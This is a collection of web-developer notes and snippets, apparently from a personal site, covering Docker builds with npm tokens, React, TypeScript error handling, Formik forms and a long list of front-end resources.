ENV NPM_CONFIG_LOGLEVEL info
WORKDIR /usr/src/app
ARG NPM_TOKEN

RUN mkdir -p /usr/src/app
COPY . .
RUN echo "//registry.npmjs.org/:_authToken=$NPM_TOKEN" > .npmrc && \
    yarn install && \
    yarn build && \
    yarn test && \
    yarn storybook:build && \
    yarn install --production && \
    rm -f .npmrc \
    rm -rf .git


# Second build
FROM node:13.2.0-alpine
WORKDIR /usr/src/app

EXPOSE 8080
COPY --from=build /usr/src/app .

ENTRYPOINT ["yarn", "start"]

Then you would run the build like so:

docker build -t mrmartineau/${CIRCLE_PROJECT_REPONAME}:${CIRCLE_SHA1} \
+               --build-arg NPM_TOKEN=${NPM_TOKEN} \

The above extract is from one project's CircleCI config.

This is how you would run it locally

docker build . -f dockerfile -t kiss --build-arg NPM_TOKEN=9e012519-aba7-4372-8381-abcdefghi

Security

https://cloudberry.engineering/article/dockerfile-security-best-practices/

Hacker News comments for the above article: https://news.ycombinator.com/item?id=24776771

Using Docker on a Mac

Rancher Desktop (https://rancherdesktop.io/)
- Using Rancher Desktop as Docker Desktop replacement on macOS - Daniel's Tech Blog
Podman Desktop
Colima (CLI tool) - Container runtimes on macOS (and Linux) with minimal setup
Portainer (Web-based) Docker and Kubernetes Management

Conditionally render on the client or server

Zander Martineau — Wed, 17 Aug 2022 00:00:00 GMT

import React, { useEffect, useState, ReactNode } from 'react'

export interface ConditionallyRenderProps {
  client?: boolean
  server?: boolean
  children?: ReactNode
}

const ConditionallyRender = ({
  client,
  server,
  children,
}: ConditionallyRenderProps) => {
  const [isMounted, setIsMounted] = useState(false)

  useEffect(() => setIsMounted(true), [])

  if (!isMounted && client) {
    return null
  }

  if (isMounted && server) {
    return null
  }

  return children as React.ReactElement
}

export default ConditionallyRender

Usage

<Layout>
  <ConditionallyRender server>
    <p>This is rendered only on server.</p>
  </ConditionallyRender>
  <ConditionallyRender client>
    <p>This is rendered only on client.</p>
  </ConditionallyRender>
</Layout>

Run npm script from another directory

Zander Martineau — Tue, 19 Jul 2022 00:00:00 GMT

npm

To run an npm script from another directory, use --prefix:

npm --prefix <path> run <command>

yarn

To run a yarn script from another directory, use --cwd:

yarn --cwd <path> <command>

Example

If you have a package.json in the example directory:

{
  "scripts": {
    "start": "echo hello world"
  }
}

In the following directory:

.
├─ example
│  ├─ package.json
├─ package.json

1 directory, 1 file

Then to run script start from your working directory:

npm --prefix ./example run start

yarn --cwd ./example start

{
  "scripts": {
    "start": "npm --prefix ./example run start"
  }
}

Jest globals

Zander Martineau — Fri, 10 Jun 2022 00:00:00 GMT

import { expect, test } from '@jest/globals'

test('two plus two is four', () => {
  expect(2 + 2).toBe(4)
})

Changing the default text editor on macOS

Zander Martineau — Wed, 19 Jan 2022 00:00:00 GMT

The command line trick works for all text files across the whole system, including hidden files, and I never have to think about it again

# VS Code
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add '{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.microsoft.VSCode;}'

# Sublime Text 4
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add '{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.sublimetext.4;}'

# Sublime Text 3
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add '{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.sublimetext.3;}'

Mock React Router location inside Storybook stories

Zander Martineau — Fri, 14 Jan 2022 00:00:00 GMT

With a component like this:

import { useParams } from 'react-router'

export const ParamsComponent = ({ firstName, lastName }) => {
  const params = useParams<{ id: string }>()
  return <div>{JSON.stringify(params, null, 2)}</div>
}

And a story like this:

import React from 'react'
import { MemoryRouter, Route } from 'react-router'
import { ParamsComponent } from './ParamsComponent'

export default {
  title: 'ParamsComponent',
  component: ParamsComponent,
}

export const Default = () => {
  return (
    <MemoryRouter initialEntries={['/user/108']}>
      <Route path="/user/:id">
        <UserCard />
      </Route>
    </MemoryRouter>
  )
}

The story should render this:

{ id: '108' }

TypeScript catch block errors

Zander Martineau — Mon, 06 Dec 2021 00:00:00 GMT

Basic example

This example does not extract logic from the catch block

try {
  // something that might throw
} catch (error: unknown) {
  // do something with the error message
  if (error instanceof Error) {
    return error.message
  }
  return String(error)
}

Extract the error handling logic

const getErrorMessage = (error: unknown) => {
  if (error instanceof Error) return error.message
  return String(error)
}

const reportError = ({ message }: { message: string }) => {
  // send the error to our logging service...
}

try {
  throw new Error('Oh no!')
} catch (error) {
  const errorMessage = getErrorMessage(error)
  console.error(`🚀 ~ errorMessage`, errorMessage)

  // we'll proceed, but let's report it
  reportError({ message: errorMessage })
}

More robust example

The above solution might not fit all cases, since many frameworks throw errors that comply to the Error api, but aren't instance of Error. 🔗

type ErrorWithMessage = {
  message: string
}

const isErrorWithMessage = (error: unknown): error is ErrorWithMessage => {
  return (
    typeof error === 'object' &&
    error !== null &&
    'message' in error &&
    typeof (error as Record<string, unknown>).message === 'string'
  )
}

const toErrorWithMessage = (maybeError: unknown): ErrorWithMessage => {
  if (isErrorWithMessage(maybeError)) return maybeError

  try {
    return new Error(JSON.stringify(maybeError))
  } catch {
    // fallback in case there's an error stringifying the maybeError
    // like with circular references for example.
    return new Error(String(maybeError))
  }
}

const getErrorMessage = (error: unknown) => {
  return toErrorWithMessage(error).message
}

Usage

try {
  throw new Error('Oh no!')
} catch (error) {
  const errorMessage = getErrorMessage(error)
  console.error(`🚀 ~ errorMessage`, errorMessage)
  // we'll proceed, but let's report it
  reportError({ message: errorMessage })
}

Some very detailed info can be found at https://joefallon.net/2018/09/typescript-try-catch-finally-and-custom-errors/

Vercel Serverless functions

Zander Martineau — Mon, 06 Dec 2021 00:00:00 GMT

Basic example

With JavaScript

// /api/test.js
const handler = (request, response) => {
  response.status(200).json({
    body: request.body,
    query: request.query,
    cookies: request.cookies,
  })
}

export default handler

With TypeScript

// /api/test.ts
import { VercelApiHandler } from './types'

const handler: VercelApiHandler = (request, response) => {
  response.status(200).json({
    body: request.body,
    query: request.query,
    cookies: request.cookies,
  })
}

export default handler

Enabling CORS

https://vercel.com/support/articles/how-to-enable-cors

Awesome Web Dev resources

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

General resources

Devdocs.io: Fast, offline, and free documentation browser for developers. Search 100+ docs in one web app: HTML, CSS, JavaScript, PHP, Ruby, Python, Go, C, C++…
DevHints: cheatsheets for many web technologies
Carbon: use this to share images of your code in presentations etc
Badgen:
Shields.io: to your documentation/readmes
Git Flight Rules: A guide for astronauts (now, programmers using Git) about what to do when things go wrong.
browser-2020: Things you can do with a browser in 2020 ☕️

Really useful tools

These are tools that I use often and that I find useful.

Bundlephobia: Size of npm dependencies
Transform.tools: Transform your code with a few clicks. I most commonly use this tool to convert JSON to TypeScript interfaces
Unicode code converter
svgomg: SVGO's Missing GUI
JSON Editor Online: view, edit and format JSON online
Squoosh: image compressor
Epoch Convert: Online Unix Timestamp Converter
CopyChar: Copy special characters to your clipboard
URL-encoder for SVG
Tiny Helpers: A collection of free single-purpose online tools for web developers...
Whitespaces and zero width characters with buttons for copying to clipboard, short mnemonics and usage comments
CSS2JS: Convert CSS to JS object. There's also a good VS Code extension for this as well: CSS-in-JShttps://marketplace.visualstudio.com/items?itemName=paulmolluzzo.convert-css-in-js
Smooth Shadow: Make a smooth shadow
Crontab.guru: The cron schedule expression editor
Key.js: JavaScript keyboard event key codes & key identifiers
Glob tester: tool for testing glob patterns
HTML De-crapulator
px-rem-em converter by me

📦 Finding and vetting npm packages

npms: A better and open source search for node packages
pika: A searchable catalog of modern "module" packages on npm
emma: 📦 Terminal assistant to find and install node packages
npmvet: A simple CLI tool for vetting npm package versions
Bundlephobia: See the "cost" of any npm package
Snyk: Find any security vulnerabilities for any npm package. Search their database here: https://snyk.io/vuln/npm:{package} e.g. https://snyk.io/vuln/npm:react
runpkg: Explore, learn about and perform static analysis on npm packages in the browser

🎨 CSS

CSS Tricks "Complete Guide to Flexbox"
CSS Tricks "Complete Guide to Grid"
Cubic bezier curve creator
Ceaser: Cubic bezier curve generator
CSS Triggers: find out what CSS properties trigger Paint/Layout/Composite renders
Fluid-responsive font-size calculator: To scale typography smoothly across viewport widths.
Browserhacks: Browserhacks is an extensive list of browser specific CSS and JavaScript hacks from all over the interwebs
Absolute centering: useful techniques for absolute centering in CSS
modern-css-reset: A bare-bones CSS reset for modern web development
CSSFX: Beautifully simple click-to-copy CSS effects
Shape Divider App

CSS-in-JS

CSS-in-JS libraries
- Stitches — CSS-in-JS with near-zero runtime
- vanilla-extract: Zero-runtime Stylesheets-in-TypeScript
- Styled Components: CSS-in-JS for React
- Emotion: CSS-in-JS library
- linaria: Zero-runtime CSS in JS library
- goober: A less than 1KB css-in-js solution
Design System Utils: Design system framework for modern front-end projects (made by me!)
Polished: A lightweight toolset for writing styles in JavaScript
styled-by: Simple and powerful lib to handle styled props in your components
xstyled: Consistent theme based CSS for styled-components 💅
Theme UI: Build consistent, themeable React apps based on constraint-based design principles

JavaScript

Useful JS links

JS module import/export syntax
JavaScript Event KeyCodes
JavaScript Visualizer
Does it mutate?
jsPerf: JavaScript performance playground
modern-js-cheatsheet
HTML DOM: Common tasks of managing HTML DOM with vanilla JavaScript

Framework agnostic packages

General utilities

Lodash: A modern JavaScript utility library delivering modularity, performance & extras.
Just: A library of dependency-free utilities that do just do one thing (like Lodash but smaller)
- Install each util independently
- Read the tradeoffs document to see if Lodash is better
tiny-get: A minimal-weight lodash.get equivalent utility
evt: A type safe replacement for node's EventEmitter
liteready: A lightweight DOM ready.
passport: Simple, unobtrusive authentication for Node.js
get-size: Get the size of elements
length.js: Library for length units conversion
action-outside: Invoke a callback function when clicked or tabbed outside one or multiple DOM elements
select-dom: Lightweight querySelector/All wrapper that outputs an Array
memoizee: Complete memoize/cache solution for JavaScript
memoize-one: A memoization library which only remembers the latest invocation
kind-of: Get the native JavaScript type of a value, fast.
iterare: Array methods + ES6 Iterators =
eases-jsnext: A grab-bag of modular easing equations
normalizr: Normalizes nested JSON according to a schema
lazy-value: Create a lazily evaluated value
fast-equals: A blazing fast equality comparison, either shallow or deep
fast-copy: A blazing fast deep object copier
compute-scroll-into-view: Utility for calculating what should be scrolled, how it's scrolled is up to you
arr: A collection of tiny, highly performant Array.prototype alternatives
timedstorage: A library for storing and expiring objects in window.localstorage
left-pad: String left pad
dont-go: A small client-side library with zero dependencies to change the title and/or favicon of the page when it is inactive
always-done: Handle completion and errors with elegance! Support for async/await, promises, callbacks, streams and observables. A drop-in replacement for async-done - pass 100% of its tests plus more
title: A service for capitalizing your title properly
words: Linguistic javascript modules
no-scroll: Disable scrolling on an element that would otherwise scroll
libphonenumber-js: A simpler (and smaller) rewrite of Google Android's libphonenumber library
text-mask: Input mask for React, Angular, Ember, Vue, & plain JavaScript
msk: Small library to mask strings
focus-trap: Trap focus within a DOM node
tinykeys: A tiny (~400 B) & modern library for keybindings
clack: A modern keyboard shortcut library written in Typescript
- clack-react: React support for @reasonink/clack
js-humanize: Humanize large numbers
pupa: Simple micro templating
sub-in: 🥙 A tiny (115B) find-and-replace utility for strings in Javascript
color-hash: Generate color based on the given string (using HSL color space and BKDRHash)
string-similarity: Finds degree of similarity between two strings, based on Dice's Coefficient, which is mostly better than Levenshtein distance
cuid: Collision-resistant ids optimized for horizontal scaling and performance
obj-str: A tiny (96B) library for serializing Object values to Strings. Also serves as a faster & smaller drop-in replacement for the classnames module
clsx: A tiny (223B) utility for constructing className strings conditionally. Also serves as a faster & smaller drop-in replacement for the classnames module
xstate: State machines and statecharts for the modern web
tasktimer: An accurate timer utility for running periodic tasks on the given interval ticks or dates. (Node and Browser)
rough-notation: Create and animate hand-drawn annotations on a web page
ouml: ö.js is a small collection of useful stuff
is: Type check values
big.js: A small, fast JavaScript library for arbitrary-precision decimal arithmetic
js-proper-url-join: Like path.join but for a URL

Async

axios: Promise based HTTP client for the browser and node.js
- axios-retry: Axios plugin that intercepts failed requests and retries them whenever possible
redaxios: The Axios API, as an 800 byte Fetch wrapper
cross-fetch: Universal WHATWG Fetch API for Node, Browsers and React Native
awaity: A functional, lightweight alternative to bluebird.js, built with async / await in mind
loadjs: A tiny async loader / dependency manager for modern browsers (789 bytes)
await-to-js: Async await wrapper for easy error handling without try-catch

Node

Fastify: Fast and low overhead web framework, for Node.js
Express
- helmet: Help secure Express apps with various HTTP headers
- reqresnext: Tiny helper for express middleware testing
- lusca: Application security for express apps
- cookie-session: Simple cookie-based session middleware
nodebestpractices: The largest Node.JS best practices list. Curated from the top ranked articles and always updated
dumper.js: A better and pretty variable inspector for your Node.js applications
http-terminator: Gracefully terminates HTTP(S) server
uuid: Generate RFC-compliant UUIDs in JavaScript
http-errors: Create HTTP Errors
boom: HTTP-friendly error objects
deno: A secure JavaScript and TypeScript runtime
nanomatch: Fast, minimal glob matcher for node.js. Similar to micromatch, minimatch and multimatch, but without support for extended globs (extglobs), posix brackets or braces, and with complete Bash 4.3 wildcard support: ("*", "**", and "?")
yn: Parse yes/no like values
ncp: Asynchronous recursive file copying with Node.js

Logging

pino: 🌲 super fast, all natural json logger 🌲
caterpillar: Caterpillar is the ultimate logging system for Deno, Node.js, and Web Browsers
cabin: Cabin is the best JavaScript and Node.js logging service and logging npm package
consola: Elegant Console Logger for Node.js and Browser 🐨

Responsive

responsive-watch: Watch some media queries and react when they change
tornis: Tornis helps you watch and respond to changes in your browser's viewport 🌲
actual: Determine actual CSS media query breakpoints via JavaScript

Media and Images

images-loaded: Wait for images to load using promises. No dependencies.
lazysizes: High performance and SEO friendly lazy loader for images (responsive and normal), iframes and more, that detects any visibility changes triggered through user interaction, CSS or JavaScript without configuration.

Image services

sharp: High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP and TIFF images. Uses the libvips library.
IMGIX: Real-time image processing and image CDN

Date

date-fns: Modern JavaScript date utility library
tinydate: A tiny (337B) reusable date formatter. Extremely fast!
tinytime: ⏰ A straightforward date and time formatter in <1kb

Scrolling

scroll-watcher
scrolldir: Leverage Vertical Scroll Direction with CSS

Carousels

Animation

ramjet: Morph DOM elements from one state to another with smooth animations and transitions
anime: JavaScript Animation Engine
GSAP:the standard for JavaScript HTML5 animation | GreenSock
Vanilla-tilt.js: A smooth 3D tilt javascript library forked from Tilt.js

Web workers

workerize: Run a module in a Web Worker
greenlet: Move an async function into its own thread. A simplified single-function version of workerize.

Immutable

immer: Create the next immutable state tree by simply modifying the current tree
- use-immer: Use immer to drive state with a React hooks
unchanged: A tiny, fast, unopinionated handler for updating JS objects and arrays immutably
seamless-immutable: Immutable data structures for JavaScript which are backwards-compatible with normal JS Arrays and Objectsseamless-immutable`
mutik: A tiny (495B) immutable state management library based on Immer

Typography

fitty: Makes text fit perfectly

Polyfills

resize-observer-polyfill:A polyfill for the Resize Observer API

⚛️ React

reactjs.org

create-react-app: Create React apps with no build configuration
- react-app-rewired: Override create-react-app webpack configs without ejecting
react-philosophies: Things I think about when I write React code
react-bits: ✨ React patterns, techniques, tips and tricks ✨

React-specific libs:

react-powerplug: Renderless Containers
formik: Build forms in React, without the tears 😭
react-router: Declarative routing for React
Reach Router
react-fns: React Components for common Web APIs
react-portal: React component for transportation of modals, lightboxes, loading bars... to document.body
react-ideal-image: 🖼️ An Almost Ideal React Image Component
react-adopt: Compose render props components like a pro
downshift
react-loadable: A higher order component for loading components with promises
react-portal: React component for transportation of modals, lightboxes, loading bars... to document.body
js-lingui: 🌍📖: A readable, automated, and optimized (5 kb) internationalization (Intl / i18n) for JavaScript
react-mq: Barebones CSS media query component for React, ~560 bytes
react-media: CSS media queries for React. This is SSR compatible as well.
merge-props: Merges className, style, and event handler props for React elements
react-uid: Render-less container for generating UID for a11y, consistent react key, and any other good reason 🦄
clsx: A tiny (229B) utility for constructing className strings conditionally
Framer Motion: An open source React library to power production-ready animations. Design fluid animations for the web, across desktop and mobile
react-axe: Accessibility auditing for React.js applications
use-click-away: React hook to detect click or touch events outside an element
react-tiny-virtual-list: A tiny but mighty 3kb list virtualization library, with zero dependencies 💪 Supports variable heights/widths, sticky items, scrolling to index, and more!
react-laag: Primitives to build things like tooltips, dropdown menu's and popovers in React
react-dnd: Drag and Drop for React

React Hooks

swr: React Hooks library for remote data fetching
Hooks.Guide: Collection of React hooks curated by the community
useHooks: Easy to understand React Hook recipes
beautiful-react-hooks: 🔥A collection of beautiful and (hopefully) useful React hooks to speed-up your components and hooks development 🔥
react-adaptive-hooks: Deliver experiences best suited to a user's device and network constraints
use-local-storage-state: React hook that persists data in localStorage
Rooks: Collection of React hooks ⚓ for everyone

State management

jotai: 👻 Primitive and flexible state management for React
zustand: 🐻 Bear necessities for state management in React
redux: Predictable state container for JavaScript apps
- reselect: Selector library for Redux
- redux-saga: An alternative side effect model for Redux apps
  - redux-saga-routines: Routines for redux-saga
- redux-thunk: Thunk middleware for Redux
- awesome-redux: Catalog of Redux Libraries & Learning Material
parket: A library to manage application state, heavily inspired by mobx-state-tree
unstated: State so simple, it goes without saying
mergeState: How to Stop Worrying and Use Nested Object/Array in React/Redux States
effector: The state manager ☄️
Recoil: Recoil is an experimental state management library for React apps. It provides several capabilities that are difficult to achieve with React alone, while being compatible with the newest features of React.

Server-rendered React

Next.js (repo): - Framework for server-rendered or statically-exported React apps
- next-plugins

Static site generators

Gatsby: Blazing fast static site generator for React
Eleventy: A simpler static site generator

Microservices/Serverless

micro
- awesome-micro

TypeScript

typescriptlang.org

What's new in TypeScript: Microsoft/TypeScript Wiki
TypeScript Deep Dive
TypeScript Evolution
JSON to Typescript Interface
react-typescript-cheatsheet: a cheatsheet for react users using typescript with react for the first (or nth!) time
clean-code-typescript: Clean Code concepts adapted for TypeScript
type-fest: A collection of essential TypeScript types

Command Line, Terminal and shells

Fish shell: The user-friendly command line shell

My fish_config
awesome-fish: A curated list of packages, prompts, and resources for the amazing fish shell
Starship: Cross-Shell Prompt
tide: 🌊 A modern prompt manager for the Fish shell

Creating CLI apps

gluegun: A delightful toolkit for building Node-powered CLIs
inquirer: A collection of common interactive command line user interfaces
commander: node.js command-line interfaces made easy
sade: Sade is a small but powerful tool for building command-line interface (CLI) applications for Node.js that are fast, responsive, and helpful!

CLI apps

serve: Static file serving and directory listing
awesome-cli-apps: A curated list of command line apps
SpaceVim: A community-driven modular vim distribution - The ultimate vim configuration

Tooling

Code bundlers

Vite: Next Generation Frontend Tooling
esbuild: An extremely fast JavaScript bundler
swc: swc is a super-fast compiler written in rust; producing widely-supported javascript from modern standards and typescript
preconstruct: 🎁 Dev and build your code painlessly in monorepos
Webpack: script/asset bundler
- Webpack recipes
- ifdef-loader: Webpack loader for JavaScript/TypeScript conditional compilation
Parcel: Blazing fast, zero configuration web application bundler
microbundle: Zero-configuration bundler for tiny modules
rollup.js: Rollup is a module bundler for JavaScript
ncc: Node.js Compiler Collection. Simple CLI for compiling a Node.js module into a single file, together with all its dependencies, gcc-style.
fastpack: Pack JS code into a single bundle fast & easy

Package management and publishing

np: A better npm publish
size-limit: Prevent JS libraries bloat. If you accidentally add a massive dependency, Size Limit will throw an error
bundlesize: Keep your bundle size in check
nps: All the benefits of npm scripts without the cost of a bloated package.json and limits of json
Dependabot: Dependabot creates pull requests to keep your dependencies secure and up-to-date
npm-config (docs): More than you probably want to know about npm configuration
patch-package: Fix broken node modules with no fuss 📦👌
madge: Create graphs from your CommonJS, AMD or ES6 module dependencies

Commit hooks

lefthook: Fast and powerful Git hooks manager for any type of projects
husky: Git hooks made easy
lint-staged: 🚫💩: Run linters on git staged files
lefthook: Fast and powerful Git hooks manager for any type of projects

Testing

Jest: Delightful JavaScript Testing
- majestic: Zero config UI for Jest
- jest-chain: Chain Jest matchers together to create one powerful assertion 🃏⛓
- jest-extended: Additional Jest matchers 🃏💪
- snapshot-diff: Diffing snapshot utility for Jest
- jest-date-mock: 🌗 Mock Date when run unit test cases with jest. Make tests of Date easier
Cypress: end-to-end testing
- cypress-testing-library: 🐅 Simple and complete custom Cypress commands and utilities that encourage good testing practices
- cypress-axe: Custom commands for Cypress to run a11y checks with axe-core
- start-server-and-test: Starts server, waits for URL, then runs test command; when the tests end, shuts down server
dom-testing-library: 🐙 Simple and complete DOM testing utilities that encourage good testing practices
react-testing-library 🐐: Simple and complete React DOM testing utilities that encourage good testing practices
- react-testing-library: React Testing Examples
- react-hooks-testing-library: 🐏 Simple and complete React hooks testing utilities that encourage good testing practices
Chance: Random generator helper for JavaScript
faker.js: generate massive amounts of fake data in Node.js and the browser
nock: HTTP server mocking and expectations library for Node.js
Stryker Mutator
given2: Lazy variable evaluation for Jasmine, Mocha, Jest specs, inspired by Ruby and Rspec 💎
benny: A dead simple benchmarking framework for JS/TS libs
benchmark.js: A benchmarking library. As used on jsPerf.com
ui-testing-best-practices: The largest UI testing best practices list (lat update: April 2020) (work in progress)

Code formatting and linting

Prettier
- precise-commits: Painlessly apply Prettier by only formatting lines you have modified anyway!
- pretty-quick: Runs Prettier on your changed files
Eslint
- eslint-plugin-prettier: ESLint plugin for prettier formatting
- eslint-config-prettier: Turns off all rules that are unnecessary or might conflict with Prettier
- eslint-plugin-react: React specific linting rules for ESLint

Miscellaneous

npm-run-all: A CLI tool to run multiple npm-scripts in parallel or sequential
cross-port-killer: Kill the process running on a given TCP port on Windows, Linux and Mac
envinfo: Generate a report about your development environment for debugging and issue reporting
mkcert: A simple zero-config tool to make locally trusted development certificates with any names you'd like

Progressive Web Apps

Workbox & (repo): JavaScript libraries for Progressive Web Apps

Code Sandboxes

CodeSandbox: CodeSandbox is perfect for React demo apps
Codepen: Codepen is perfect for non-React front-end demos and prototypes
CodeShare: Codeshare is useful for collaborating on a single file if devs are not in the same room
Glitch

APIs

Postman: used to develop, test and monitor APIs
MockAPI: create a mock API
jsonbin: A personal JSON store as a RESTful service
test-cors.org
Reqres: A hosted REST-API ready to respond to your AJAX requests
Mirage JS: An API mocking library for frontend developers
Postwoman: API request builder

GraphQL

GraphQL Playground
Apollo GraphQL: Apollo Data Graph Platform— unify APIs, microservices, and databases into a data graph that you can query with GraphQL
- Apollo Client (React): Apollo React GraphQL Docs
- graphql-directives: 🧭 A collection of custom GraphQL Schema Directives for use with Apollo Server
urql: The highly customizable and versatile GraphQL client
graphql-request: Minimal GraphQL client supporting Node and browsers for scripts or simple apps
graphql-lodash: 🛠 Data manipulation for GraphQL queries with lodash syntax

JSON

JSON generator: generate a lot of custom JSON for your app/site
JSON Editor Online: view/edit JSON in a better format
fx: Command-line tool and terminal JSON viewer 🔥

HTML

github.com/joshbuchea/HEAD: the definitive resource for everything that could go in the head of your document
MetaTags.io: Preview, Edit and Generate
HEY META: Website Meta Tag Check
Rich Link Preview

SVG

A Practical Guide to SVGs on the web
Get Waves: Create SVG waves for your next design
Blobmaker: Make organic SVG shapes for your next design
flubber: Tools for smoother shape animations
Hero Patterns: Free repeatable SVG background patterns for your web projects

Icons

ICONSVG: Quick customizable SVG icons for your project
Simple Icons
React Icons
Evil Icons
Icon Font & SVG Icon Sets ❍ IcoMoon
SVG PORN
Feather: Simply beautiful open source icons
- react-feather: React component for Feather icons
System UIcons

SVG/Image Media compression

Squoosh
SVGOMG: SVGO's Missing GUI

Conversions and unicode

Transform: All important transforms at one place ⭐️⭐️⭐️ this is so useful
SVGR: The SVG to JSX transformer
svg2jsx
JSON to JavaScript object literal
Unminify JS, CSS and HTML Code
Multi-Encoder
Unicode code converter

Features and feature detection

Can I Use...: Browser support tables for modern web technologies (HTML5, CSS3, JavaScript etc)
Kangax JavaScript compatibility table

Performance

Bundlephobia: find the cost of adding a npm package to your bundle

Performance testing and monitoring

WebPageTest
Lighthouse
Calibre
Website Speed Test Image Analysis Tool by Cloudinary

Design

Subtract Guides: Simple Rules for Designing Web & Mobile Forms

Design Systems and documentation

Storybook: UI dev environment you'll love to use
react-styleguidist: - Isolated React component development environment with a living style guide
Docusaurus: Easy to Maintain Open Source Documentation Websites
Docz
design-system-utils: - Design system framework for modern front-end projects
Docute: The fastest way to create a documentation site for your project
playroom: Design with JSX, powered by your own component library

Accessibility (A11y)

Accessibility is an extremely important part of any web project. While the SOW, functional spec or user-stories might not directly mention a11y, it is up to each developer to ensure that best efforts are made to make our websites as accessible as possible.

A11y tools and resources:

Interactive WCAG: guidelines/cheatsheet for A, AA & AAA
awesome-a11y: massive list of a11y-related resources & information
tenon.io: a11y tester
a11yproject.com/checklist.html: a11y checklist
a11yproject.com: a11y resources
w3.org/WAI/ER/tools/: list of a11y tools from the W3C
allyjs.io: JavaScript library to help modern web applications with accessibility concerns by making accessibility simpler
Four principles of Accessibility
Aria landmarks example
A11y Style-guide: markup examples and best practices
Inclusive Components: A blog trying to be a pattern library. All about designing inclusive web interfaces, piece by piece.
Color contrast checker
Accessible color palette builder: An prototype to help designers build accessible color palettes
Practical ARIA Examples
Nutrition Cards for Accessible Components A11Y Expectations
Web Accessibility Tutorials: Guidance on how to create websites that meet WCAG

A11y Chrome extensions

Accessibility Insights for Web
Color Contrast Analyzer
NoCoffee: has options for testing color blindness and other sight-related issues

DevOps

HTTP Status Codes

Continuous integration

CircleCI: Paid.
Bitrise: Paid. For iOS/Android apps
Travis CI: Free for open-source

Docker

dockle: Container Image Linter for Security, Helping build the Best-Practice Docker Image, Easy to start

Hosting

Domains

iwantmyname

Design

Typography

IDEs and Text Editors

VS Code

My VS Code extensions
My preferences
awesome-vscode: 🎨 A curated list of delightful VS Code packages and resources

Programming fonts

Code colour schemes

Monokai Pro
Ayu (Mirage)
Dracula: A dark theme for Visual Studio Code and 50+ apps
Oceanic Next Theme
🌌 Night Owl: A VS Code dark theme for contrast for nighttime coding
Nord
VSCodeThemes
themer: 🎨 themer takes a set of colors and generates themes for your apps (editors, terminals, wallpapers, and more)

Regular expressions

Regex101: Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript

Learning resources

Web Skills: A visual overview of useful skills to learn as a web developer

If you think there are better alternatives, or that there should be something added to the list, please create an issue or create a pull request

Formik

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

Simple example

import { Formik, ErrorMessage, ErrorMessage, FormikHelpers, Form } from 'formik'

interface SignupFormValues {
  email: string
  password: string
  firstName: string
  lastName: string
}

export const SignupForm = () => {
  const [formError, setFormError] = useState<string>('')

  return (
    <Formik
      initialValues={{
        email: '',
        password: '',
        firstName: '',
        lastName: '',
      }}
      onSubmit={async (
        values: SignupFormValues,
        actions: FormikHelpers<SignupFormValues>
      ) => {
        // submit form data to API
      }}
    >
      {({ handleChange, handleBlur, values, isSubmitting, getFieldProps }) => (
        <Form>
          <div>
            <label htmlFor="firstName">First name</label>
            <input
              type="text"
              autoComplete="given-name"
              {...getFieldProps('firstName')}
            />
            <ErrorMessage name="firstName">
              {(msg) => <div>{msg}</div>}
            </ErrorMessage>
          </div>
          <div>
            <label htmlFor="lastName">Last name</label>
            <input
              name="lastName"
              autoComplete="family-name"
              {...getFieldProps('lastName')}
            />
            <ErrorMessage name="lastName">
              {(msg) => <div>{msg}</div>}
            </ErrorMessage>
          </div>
          <div>
            <label htmlFor="email">Email address</label>
            <input type="email" {...getFieldProps('email')} />
            <ErrorMessage name="email">
              {(msg) => <div>{msg}</div>}
            </ErrorMessage>
          </div>
          <div>
            <label htmlFor="password">Password</label>
            <input type="password" {...getFieldProps('password')} />
            <ErrorMessage name="password">
              {(msg) => <div>{msg}</div>}
            </ErrorMessage>
          </div>
          <button type="submit" disabled={isSubmitting}>
            Submit
          </button>
        </Form>
      )}
    </Formik>
  )
}

Using Yup for validation

import React from 'react'
import { Formik } from 'formik'

interface SignupFormValues {
  email: string
  password: string
  firstName: string
  lastName: string
}

const InviteSchema = Yup.object().shape({
  email: Yup.string().email('Invalid email').required('Required'),
  password: Yup.string().required('Required').min(8).max(200),
  firstName: Yup.string().required('Required'),
  lastName: Yup.string(),
})

Common patterns

Loading state

Use the useToggle hook to manipulate loading state for your form. When used correctly, the Button component will show a loading indicator when the form is submitting.

// initialise the state
const [formSubmitting, , setFormSubmitting] = useToggle()

// change it when the user submits the form
onSubmit={async (values: FormValues) => {
  setFormSubmitting(true) // <-- here
  try {
    // call your API to submit the form
  } catch (error: unknown) {
    // catch any errors
    let errorMessage = 'error.unknown'
    if (typeof error === 'string') {
      errorMessage = error.toUpperCase()
    } else if (error instanceof Error) {
      errorMessage = error.message
    }
    setFormError(errorMessage)
    setFormSubmitting(false) // <-- here
  }
}}

// use it on the button
<Button
  type="submit"
  isLoading={formSubmitting}
>
  Submit
</Button>

Submission errors

Use a useState hook to set any errors that occur during form validation.

// initialise the state
const [formError, setFormError] = useState<string>('')

// set the error when the form is submitted
onSubmit={async (values: FormValues) => {
  setFormSubmitting(true)
  try {
    // call your API to submit the form
  } catch (error: unknown) {
    // catch any errors
    let errorMessage = 'error.unknown'
    if (typeof error === 'string') {
      errorMessage = error.toUpperCase()
    } else if (error instanceof Error) {
      errorMessage = error.message
    }
    setFormError(errorMessage) // <-- here
    setFormSubmitting(false)
  }
}}

// Render a message if there are errors
{formError && <Alert variant="error">{formError}</Alert>}

Another aspect is to "disable" the submit button when there are validation errors. Use the isValid prop from Formik to determine if the form is valid, then set the isDisabled prop on the Button component. This will prevent the button from being clicked and show a useful message to the user notifying them of the issue.

<Button
  type="submit"
  sx={{ mt: 2 }}
  isLoading={formSubmitting}
  isDisabled={!isValid}
  disabledText="Please fix the form validation errors"
>
  Submit
</Button>

Validation

Use the Yup library to validate the form. It is used in many forms in the app.

Create your form schema:

const FormSchema = Yup.object().shape({
  email: Yup.string().email('Invalid email').required('Required'),
  password: passwordValidation,
})

Quotation marks in different countries

Zander Martineau — Thu, 11 Nov 2021 00:00:00 GMT

Albanian: «…» ‹…›
English: “…” ‘…’
Arab: «…» ‹…›
African: „…” ‚…’
